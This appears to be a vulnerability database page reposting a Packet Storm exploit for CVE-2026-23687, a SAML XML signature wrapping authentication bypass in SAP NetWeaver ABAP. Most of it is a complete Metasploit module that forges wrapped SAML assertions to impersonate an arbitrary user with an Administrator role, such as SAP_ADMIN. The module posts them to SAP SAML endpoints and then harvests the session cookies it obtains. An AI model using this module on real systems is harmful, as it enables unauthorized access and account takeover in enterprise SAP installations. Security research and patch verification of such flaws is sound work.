Lucene search
K

📄 SAP NetWeaver ABAP SAML XML Signature Wrapping Authentication Bypass

🗓️ 06 Jul 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 22 Views

SAML XML Signature Wrapping bypass in SAP NetWeaver ABAP (CVE-2026-23687) allows bypassing signature verification.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2026-23687
10 Feb 202604:21
circl
CNNVD
SAP AS ABAP和SAP NetWeaver ABAP Platform 数据伪造问题漏洞
10 Feb 202600:00
cnnvd
CVE
CVE-2026-23687
10 Feb 202603:02
cve
Cvelist
CVE-2026-23687 XML Signature Wrapping in SAP NetWeaver AS ABAP and ABAP Platform
10 Feb 202603:02
cvelist
NCSC
Vulnerabilities fixed in SAP products
10 Feb 202612:28
ncsc
NVD
CVE-2026-23687
10 Feb 202604:16
nvd
OSV
CVE-2026-23687
10 Feb 202604:16
osv
Packet Storm
📄 SAP NetWeaver ABAP / SAP_BASIS 918 Cryptographic Weakness
9 Jun 202600:00
packetstorm
Positive Technologies
PT-2026-7214
10 Feb 202600:00
ptsecurity
RedhatCVE
CVE-2026-23687
11 Feb 202607:30
redhatcve
Rows per page
==================================================================================================================================
    | # Title     : SAP NetWeaver ABAP SAML XML Signature Wrapping Authentication Bypass                                             |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.sap.com/                                                                                             |
    ==================================================================================================================================
    
    [+] Summary    :   a SAML authentication bypass vulnerability in SAP NetWeaver ABAP (SAP_BASIS versions 700–918).
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Auxiliary::Report
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::Auth::SAML
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'SAP NetWeaver ABAP SAML XML Signature Wrapping',
          'Description'    => %q{
            This module exploits a vulnerability in SAP NetWeaver ABAP's SAML Service Provider
            implementation (CVE-2026-23687). The vulnerability allows an attacker to bypass
            SAML signature verification through XML Signature wrapping attacks.
    
            By crafting a SAML response with a wrapped signature using <Object> tags, an
            attacker can manipulate the SAML assertion data while maintaining a valid
            cryptographic signature. This allows authentication as arbitrary users with
            SAML mapping enabled.
    
            Affects SAP_BASIS versions 700 through 918.
          },
          'Author'         => ['indoushka'],
          'References'     => [
            ['CVE', '2026-23687'],
            ['URL', 'https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-004.txt'],
            ['URL', 'https://github.com/CompassSecurity/SAMLRaider'],
            ['URL', 'https://www.w3.org/TR/xmldsig-core1/#sec-Object'],
            ['SAP', '3697567']                      
          ],
          'DisclosureDate' => '2026-06-08',
          'License'        => MSF_LICENSE,
          'Notes'          => {
            'Stability'   => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [IOC_IN_LOGS]
          }
        ))
        register_options([
          OptString.new('TARGET_URL', [true, 'SAP NetWeaver target URL', 'https://sap.example.com']),
          OptString.new('SAML_IDP_URL', [true, 'SAML Identity Provider URL', 'https://idp.example.com/saml']),
          OptString.new('TARGET_USER', [true, 'Target user to impersonate', 'SAP_ADMIN']),
          OptString.new('ORIGINAL_SAML_RESPONSE', [true, 'Valid SAML response from legitimate user', nil]),
          OptString.new('SP_ENTITY_ID', [true, 'Service Provider Entity ID', 'sap.example.com']),
          OptString.new('IDP_ENTITY_ID', [true, 'Identity Provider Entity ID', 'idp.example.com']),
          OptInt.new('MAX_ATTEMPTS', [false, 'Maximum authentication attempts', 5]),
          OptBool.new('USE_ENCRYPTION', [false, 'SAML response encryption enabled', false])
        ])
        register_advanced_options([
          OptInt.new('TIMEOUT', [true, 'HTTP timeout in seconds', 30]),
          OptBool.new('VERIFY_CERT', [false, 'Verify SSL certificate', false]),
          OptString.new('PROXY', [false, 'HTTP proxy', nil])
        ])
      end
      def create_wrapped_saml_response(original_response, target_user)
        print_status("Creating wrapped SAML response for user: #{target_user}")
        begin
          doc = Nokogiri::XML(original_response)
          doc.remove_namespaces!
        rescue => e
          print_error("Failed to parse SAML response: #{e.message}")
          return nil
        end
        signature = doc.at_xpath('//Signature')
        assertion = doc.at_xpath('//Assertion')
        if signature.nil? || assertion.nil?
          print_error("Could not find Signature or Assertion in SAML response")
          return nil
        end
        wrapped_saml = <<~XML
          <?xml version="1.0" encoding="UTF-8"?>
          <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
                          xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
                          ID="#{generate_saml_id}"
                          Version="2.0"
                          IssueInstant="#{Time.now.utc.iso8601}"
                          Destination="#{datastore['TARGET_URL']}">
            <saml:Issuer>#{datastore['IDP_ENTITY_ID']}</saml:Issuer>
            <samlp:Status>
              <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
            </samlp:Status>
            <saml:Assertion ID="#{assertion['ID'] || generate_saml_id}">
              #{signature.to_xml}
              <Object>
                #{assertion.to_xml}
              </Object>
              <Subject>
                <saml:NameID>#{target_user}</saml:NameID>
                <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                  <saml:SubjectConfirmationData NotOnOrAfter="#{(Time.now + 3600).utc.iso8601}"
                                               Recipient="#{datastore['TARGET_URL']}"/>
                </saml:SubjectConfirmation>
              </Subject>
              <AttributeStatement>
                <saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name">
                  <saml:AttributeValue>#{target_user}</saml:AttributeValue>
                </saml:Attribute>
                <saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress">
                  <saml:AttributeValue>#{target_user}@sap.example.com</saml:AttributeValue>
                </saml:Attribute>
                <saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/role">
                  <saml:AttributeValue>Administrator</saml:AttributeValue>
                </saml:Attribute>
              </AttributeStatement>
            </saml:Assertion>
          </samlp:Response>
        XML
        encoded_response = Rex::Text.encode_base64(wrapped_saml)
        print_status("Wrapped SAML response created (#{encoded_response.length} bytes)")
        return encoded_response
      end
      def send_saml_assertion(saml_response)
        print_status("Sending crafted SAML assertion to SAP NetWeaver")
        saml_endpoints = [
          '/sap/bc/sec/saml2',
          '/sap/bc/sec/saml2/callback',
          '/sap/bc/sec/saml2/sso',
          '/sap/public/sec/saml2',
          '/sap/bc/webdynpro/saml2'
        ]
        endpoints_to_try = saml_endpoints
        if datastore['TARGET_URL'].include?('/sap/')
          endpoints_to_try = [URI(datastore['TARGET_URL']).path]
        end
        endpoints_to_try.each do |endpoint|
          uri = normalize_uri(endpoint)
          post_data = {
            'SAMLResponse' => saml_response,
            'RelayState' => generate_relay_state
          }
          print_status("Trying endpoint: #{uri}")
          
          begin
            res = send_request_cgi({
              'method' => 'POST',
              'uri' => uri,
              'vars_post' => post_data,
              'headers' => {
                'Content-Type' => 'application/x-www-form-urlencoded'
              }
            }, datastore['TIMEOUT'])
            if res
              print_status("Response status: #{res.code}")
              if successful_authentication?(res)
                print_good("Successfully authenticated as #{datastore['TARGET_USER']}!")
                extract_session_info(res)
                return true
              elsif res.code == 302
                print_status("Redirect received - might indicate partial success")
                check_redirect_location(res)
              elsif res.code == 200
                if res.body.include?('SAP NetWeaver') || res.body.include?('sap-system')
                  print_status("SAP response received, checking for access...")
                  if check_sap_access(res)
                    print_good("Access granted! Session established.")
                    return true
                  end
                end
              else
                print_status("Unexpected response: #{res.code}")
              end
            else
              print_error("No response from endpoint: #{endpoint}")
            end
          rescue ::Rex::ConnectionError => e
            print_error("Connection error: #{e.message}")
          rescue => e
            print_error("Error: #{e.message}")
          end
        end
        return false
      end
      def successful_authentication?(response)
        success_indicators = [
          'sap-system',
          'SAP Session',
          'MYSAPSSO2',
          'sap-usercontext',
          'sap-login',
          'welcome',
          'dashboard'
        ]
        if response.get_cookies
          cookies = response.get_cookies
          if cookies.include?('MYSAPSSO2') || cookies.include?('SAP_SESSIONID')
            print_good("Found SAP session cookies")
            return true
          end
        end
        if response.body
          success_indicators.each do |indicator|
            if response.body.downcase.include?(indicator.downcase)
              print_good("Found indicator: #{indicator}")
              return true
            end
          end
        end
        return false
      end
      def extract_session_info(response)
        session_info = {
          'cookies' => response.get_cookies,
          'headers' => response.headers
        }
        path = store_loot(
          'sap.saml.session',
          'text/plain',
          rhost,
          session_info.to_json,
          'sap_saml_session.txt',
          'SAP SAML session information'
        )
        print_good("Session information saved to: #{path}")
        if response.get_cookies =~ /MYSAPSSO2=([^;]+)/
          print_good("MYSAPSSO2 Cookie: #{$1}")
        end
        if response.get_cookies =~ /SAP_SESSIONID[^=]*=([^;]+)/
          print_good("SAP Session ID: #{$1}")
        end
      end
      def check_redirect_location(response)
        if response.headers['Location']
          location = response.headers['Location']
          print_status("Redirect to: #{location}")
          if location.include?('sap') && !location.include?('error')
            print_good("Redirect appears successful")
          end
        end
      end
      def check_sap_access(response)
        test_paths = [
          '/sap/bc/gui/sap/its/webgui',
          '/sap/bc/webdynpro/sap',
          '/sap/bc/ui2/flp'
        ]
        test_paths.each do |path|
          begin
            res = send_request_cgi({
              'method' => 'GET',
              'uri' => path,
              'cookie' => response.get_cookies
            }, datastore['TIMEOUT'])
            
            if res && res.code == 200
              print_good("Access granted to #{path}")
              return true
            end
          rescue
            next
          end
        end
        return false
      end
      def generate_saml_id
        "_#{Rex::Text.rand_text_alphanumeric(32)}"
      end
      def generate_relay_state
        Rex::Text.rand_text_alphanumeric(16)
      end
      def load_original_saml_response
        original_response = datastore['ORIGINAL_SAML_RESPONSE']
        if original_response.nil? || original_response.empty?
          print_error("ORIGINAL_SAML_RESPONSE is required")
          return nil
        end
        if File.exist?(original_response)
          print_status("Loading SAML response from file: #{original_response}")
          return File.read(original_response)
        end
        begin
          decoded = Rex::Text.decode_base64(original_response)
          if decoded && decoded.include?('saml')
            print_status("Decoded base64 SAML response")
            return decoded
          end
        rescue
        end
        return original_response
      end
      def run
        print_status("Starting SAP NetWeaver SAML XML Signature Wrapping exploit")
        print_status("CVE-2026-23687 - SAP_BASIS 700-918")
        original_response = load_original_saml_response
        if original_response.nil?
          print_error("Failed to load original SAML response")
          return
        end
        (1..datastore['MAX_ATTEMPTS']).each do |attempt|
          print_status("Attempt #{attempt}/#{datastore['MAX_ATTEMPTS']}")
          wrapped_response = create_wrapped_saml_response(original_response, datastore['TARGET_USER'])
          if wrapped_response.nil?
            print_error("Failed to create wrapped SAML response")
            next
          end
          if send_saml_assertion(wrapped_response)
            print_good("Exploit successful! Impersonated user: #{datastore['TARGET_USER']}")
            report_vuln({
              :host => rhost,
              :port => rport,
              :name => self.name,
              :refs => self.references,
              :info => "SAP NetWeaver SAML XML Signature Wrapping vulnerability allows user impersonation",
              :data => "Target user: #{datastore['TARGET_USER']}"
            })
            return
          end
          sleep(2) if attempt < datastore['MAX_ATTEMPTS']
        end
        print_error("Exploit failed after #{datastore['MAX_ATTEMPTS']} attempts")
        print_status("Troubleshooting tips:")
        print_status("1. Verify the original SAML response is valid")
        print_status("2. Check if SAP_BASIS version is affected (700-918)")
        print_status("3. Ensure patch SAP Note 3697567 is not applied")
        print_status("4. Try different SAML endpoints")
      end
    end
    	
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jul 2026 00:00Current
6Medium risk
Vulners AI Score6
CVSS 3.18.8
EPSS0.00464
SSVC
22